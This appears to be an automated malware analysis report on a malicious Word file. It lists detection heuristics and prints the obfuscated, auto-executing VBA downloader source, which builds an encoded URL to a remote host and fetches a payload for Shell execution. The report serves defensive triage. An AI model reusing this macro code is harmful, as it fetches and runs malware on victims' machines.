Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2ab1ca0dc689e492…

MALICIOUS

Office (OLE)

100.0 KB Created: 2014-10-29 03:48:00 Authoring application: Microsoft Office Word First seen: 2014-11-24
MD5: 5332700431809cc8f4c916dfb16194bc SHA-1: 3320d535a142d53440747ed07f75cb3b2a57faac SHA-256: 2ab1ca0dc689e4923780d7b33274a15f529a4f32a56ddd0b8b5edcd25f71d6aa
274 Risk Score

Heuristics 11

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        QVGDIXZMWWT = Shell(FKCRYFYLUWA, 1)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set UUIBPVEDDRP = CreateObject("MSXML2.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        KKOMJFIEHKH Chr$(104) & Chr$(116) & Chr$(116) & Chr$(112) & Chr$(58) & Chr$(47) & Chr$(47) & Chr$(119) & Chr$(119) & Chr$(119) & Chr$(46) & Chr$(99) & Chr$(112) & Chr$(100) & Chr$(46) & Chr$(99) & Chr$(97) & Chr$(109) & Chr$(97) & Chr$(114) & Chr$(97) & Chr$(99) & Chr$(111) & Chr$(108) & Chr$(111) & Chr$(109) & Chr$(98) & Chr$(111) & Chr$(46) & Chr$(112) & Chr$(114) & Chr$(46) & Chr$(103) & Chr$(111) & Chr$(118) & Chr$(46) & Chr$(98) & Chr$(114) & Chr$(47) & Chr$(70) & Chr$(111) & Chr$(116)  …
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 49112 bytes
SHA-256: 1e1545d0e60dfe050537ef86e1203cb61b65e8ca60d7a1e74b132bd58499f61a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
93 of 151 identifiers look randomly generated (e.g. 'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJ') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GoTo qMpSxsmF
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim HGJuOYsY As String
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Open "VYNAQF.VEN" For Binary As 77

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim mJPnrJHi As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
mJPnrJHi = 2
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While mJPnrJHi < 83
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: mJPnrJHi = mJPnrJHi + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Put #77, , HGJuOYsY

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim rDzpBpAI As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
rDzpBpAI = 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While rDzpBpAI < 14
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: rDzpBpAI = rDzpBpAI + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Close #77

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim MCSmblKB As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
MCSmblKB = 9
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While MCSmblKB < 34
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: MCSmblKB = MCSmblKB + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
qMpSxsmF:


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim JswIDvBl As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
JswIDvBl = 8
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While JswIDvBl < 36
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: JswIDvBl = JswIDvBl + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
XFSQBFKMHZZ
End Sub
Sub AutoOpen()

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GoTo TEIKbLrJ
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim qvhfSgWO As String
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Open "ICSRDT.JGP" For Binary As 24

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim gnORDueN As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
gnORDueN = 3
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While gnORDueN < 17
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: gnORDueN = gnORDueN + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Put #24, , qvhfSgWO

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim tOmFdjlj As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
tOmFdjlj = 8
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While tOmFdjlj < 27
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: tOmFdjlj = tOmFdjlj + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Close #24

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim GABOAZcF As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GABOAZcF = 8
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While GABOAZcF < 67
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: GABOAZcF = GABOAZcF + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
TEIKbLrJ:


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim asJfllzL As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
asJfllzL = 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While asJfllzL < 74
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: asJfllzL = asJfllzL + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
    Auto_Open
End Sub
Sub Workbook_Open()

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GoTo BsuBAADW
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim RiFlFXRS As String
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Open "KFVUFX.KSB" For Binary As 51

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim kdSOFpnQ As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
kdSOFpnQ = 4
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While kdSOFpnQ < 76
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: kdSOFpnQ = kdSOFpnQ + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Put #51, , RiFlFXRS

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim aoelOZss As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
aoelOZss = 8
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While aoelOZss < 84
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: aoelOZss = aoelOZss + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Close #51

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim ECRdTNtJ As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
ECRdTNtJ = 6
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While ECRdTNtJ < 93
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: ECRdTNtJ = ECRdTNtJ + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
BsuBAADW:


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim XHpGCidO As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
XHpGCidO = 7
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While XHpGCidO < 18
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: XHpGCidO = XHpGCidO + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
    Auto_Open
End Sub
Function KKOMJFIEHKH(ByVal XZZRONHVJIL As String, ByVal FKCRYFYLUWA As String) As Boolean
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
     Dim UUIBPVEDDRP As Object, OWNQHYZXAHU As Long, ZEDJSHDFWQK As Long, WEFIMYLQFEU() As Byte


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GoTo RTcOwNar
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim pnyrImLW As String
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Open "FOQUNA.VAO" For Binary As 48

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim kgRfRCPJ As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
kgRfRCPJ = 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While kgRfRCPJ < 15
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: kgRfRCPJ = kgRfRCPJ + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Put #48, , pnyrImLW

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim gTrgeaLe As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
gTrgeaLe = 3
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While gTrgeaLe < 71
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: gTrgeaLe = gTrgeaLe + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Close #48

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim tGFvEspl As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
tGFvEspl = 8
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While tGFvEspl < 89
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: tGFvEspl = tGFvEspl + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
RTcOwNar:


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim jlypdIgG As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
jlypdIgG = 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While jlypdIgG < 16
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: jlypdIgG = jlypdIgG + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
    Set UUIBPVEDDRP = CreateObject("MSXML2.XMLHTTP")
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
    UUIBPVEDDRP.Open "GET", XZZRONHVJIL, False

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GoTo HjfmFskN
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim IUryRlYE As String
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Open "MAYNOU.ELR" For Binary As 65

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim vEFRBQlG As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
vEFRBQlG = 5
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While vEFRBQlG < 37
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: vEFRBQlG = vEFRBQlG + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Put #65, , IUryRlYE

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim gIKsmmIe As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
gIKsmmIe = 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While gIKsmmIe < 46
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: gIKsmmIe = gIKsmmIe + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Close #65

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim PoNTSaXK As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
PoNTSaXK = 7
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While PoNTSaXK < 54
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: PoNTSaXK = PoNTSaXK + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
HjfmFskN:


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim GYbOVNWi As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GYbOVNWi = 8
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While GYbOVNWi < 82
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: GYbOVNWi = GYbOVNWi + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
    UUIBPVEDDRP.Send "send request"

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
    Do While UUIBPVEDDRP.readyState <> 4

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GoTo fAKrbKer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim LxbvDfMX As String
